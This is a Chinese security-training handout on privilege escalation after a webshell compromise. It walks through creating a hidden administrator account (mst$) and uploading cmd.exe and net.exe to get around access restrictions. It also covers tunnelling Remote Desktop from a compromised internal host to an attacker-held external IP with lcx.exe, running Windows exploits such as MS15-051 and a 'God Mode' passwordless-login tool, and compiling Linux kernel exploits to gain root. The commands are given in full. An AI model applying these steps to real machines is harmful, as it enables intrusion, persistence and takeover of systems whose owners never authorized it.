米斯特白帽培训讲义 漏洞篇 提权

讲师:gh0stkey

整理:飞龙

协议:CC BY-NC-SA 4.0

提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵。本讲义所讲的是基于 WebShell 的菜刀管理下提权。

漏洞篇 提权 - 图1

基本 Dos 命令、常识

  • whoami:查看当前用户名,用于查看权限大小。
  • ipconfig:显示当前 TCP/IP 配置,用于查看 IP。
  • net user:查看当前系统的所有用户。
  • net user <用户名> <用户密码> /add:创建用户。
  • net localgroup administrators <用户名> /add:将用户加入administrators用户组。
  • 远程连接默认端口:3389。

下面拿菜刀中的 Shell 演示一遍这几个命令。

首先是whoami,可以看到administrator,应该是管理员。

漏洞篇 提权 - 图2

然后是ipconfig,我们可以看到192.168.175.129,这是内网的 IP。

漏洞篇 提权 - 图3

然后是net user

漏洞篇 提权 - 图4

知道这些用户之后,我们需要创建自己的用户mst。创建后再执行net user,可以看到创建成功:

漏洞篇 提权 - 图5

接下来我们创建一个名为mst$的用户:

漏洞篇 提权 - 图6

可以看到它并没有显示在用户列表中,之后我们再执行net user mst$

漏洞篇 提权 - 图7

它又是确实存在的,这就是隐藏用户的一个小技巧。

之后我们把mst$添加到管理员组中,并且查看它的信息,我们发现它成功刚添加到了管理员组中。

漏洞篇 提权 - 图8

现在我们查看远程连接的端口,首先执行tasklist /svc,寻找TermService

漏洞篇 提权 - 图9

我们看到它的 PID 为 1504。之后执行netstat -ano

漏洞篇 提权 - 图10

寻找 PID 为 1504 的一行,可以看到它的端口是 3389。

需要远程连接的时候,输入刚刚创建的用户名和密码就可以了。

突破限制

假如说我们在实际情况中看到了[Err]拒绝访问

漏洞篇 提权 - 图11

那我们可以找到自己电脑上的cmd.exe,然后上传上去。比如上传路径如下:

漏洞篇 提权 - 图12

我们就可以执行setp <路径>\cmd.exe

漏洞篇 提权 - 图13

我们再来看各种命令:

漏洞篇 提权 - 图14

漏洞篇 提权 - 图15

net user还是拒绝访问的,我们用老方法,找到自己电脑中的net.exe,然后传上去。之后执行<路径>\net.exe user

漏洞篇 提权 - 图16

可以看到突破了限制。

端口转发

在提权过程中,我们经常碰到这样的情况:

漏洞篇 提权 - 图17

我们可以看到 WebShell 的主机处于内网下,内网的意思就是说,它能连接别人,但别人不能连接它,就跟连接路由器的个人电脑差不多。

那么这种情况下,我们就需要用到端口转发工具lcx.exe,除此之外,还需要一台拥有外网 IP 的主机。这里我们把内网的主机叫做肉鸡,独立 IP 主机叫做本机。

lcx.exe上传至本机和肉鸡之后,首先确定本机的 IP 为119.90.140.191

漏洞篇 提权 - 图18

然后我们在本机执行:

  1. lcx.exe -listen 51 3388

漏洞篇 提权 - 图19

这条命令的意思就是说,监听本机的 51 和 3388 端口,并将两个端口互相转发,端口 51 的入境流量发给端口 3388,反之亦然。其中 51 是用于肉鸡连接的端口。3388 是用于我们的远程连接客户端连接的端口,为了避免与本机的远程连接服务冲突,选择了 3388。大家可以自行选择其他未占用端口。

然后我们在肉鸡上执行:

  1. lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389

漏洞篇 提权 - 图20

这条命令连接肉鸡的 3389 端口,和本机的 51 端口,并互相转发。

之后,我们在本机或其他主机上使用远程连接客户端,连接119.90.140.191:3388,可以看到lcx中显示了转发的信息。

漏洞篇 提权 - 图21

远程连接客户端的封包会发给主机的lcx,之后会发给肉鸡的lcx,之后会发给肉鸡的远程连接服务。响应封包会按原路返回。

等待一会儿之后,我们成功连接了肉鸡的远程桌面:

漏洞篇 提权 - 图22

Windows Exp 提权

Exp 提权用于普通方式不好用的时候。

首先我们通过systeminfo查看补丁:

漏洞篇 提权 - 图23

我们可以看到它安装了Q147222

然后我们使用GetRoot Tools工具,打开它,主界面是这样的:

漏洞篇 提权 - 图24

我们选中上面的 Windows 2003,然后把[01]: Q147222复制到上方的输入框中。之后点击Search

漏洞篇 提权 - 图25

这就是我们可以使用的 Exp。我们随便选择一个,比如MS15-051。我们可以在课件中的 MS 提权集(提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> ms提权集/ms15-051/ms15-051)中找到它。

我们需要根据系统的版本来选择 Exp,这里系统是 32 位的,我们就应该选择Win32/32.exe。上传之后,我们可以使用dir命令在目录中看到它:

漏洞篇 提权 - 图26

它的使用方法是<exp.exe> "<cmd 命令>",例如,我们执行net user

漏洞篇 提权 - 图27

我们可以看到命令执行成功。

上帝之门

上帝之门 Exp 用于开启 Windows 的“上帝模式”,即任意账户无密码登录。它需要能上传并且执行 EXE 文件。使用方法为NtGodMode.exe [ON|OFF]。我们可以在课件中(提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> NtGodMode.exe)找到它。

上传之后,执行NtGodMode.exe ON

漏洞篇 提权 - 图28

然后通过远程连接登录目标主机,将用户名输入为admin,密码任意填写。

漏洞篇 提权 - 图29

可以进入目标主机。

漏洞篇 提权 - 图30

注意,必须是输入已有用户名,不存在的用户名是不行的。

Linux Exp 提权

首先根据uname -a查看内核版本,之后根据内核版本找 Exp:

漏洞篇 提权 - 图31

之后我们执行以下命令来编译:

  1. gcc -pthread exp.c -o exp

然后执行./exp来执行 Exp。我们一开始的用户可能是xxx@yyy,执行之后就变成了root@yyy,这样就算提权成功。

附录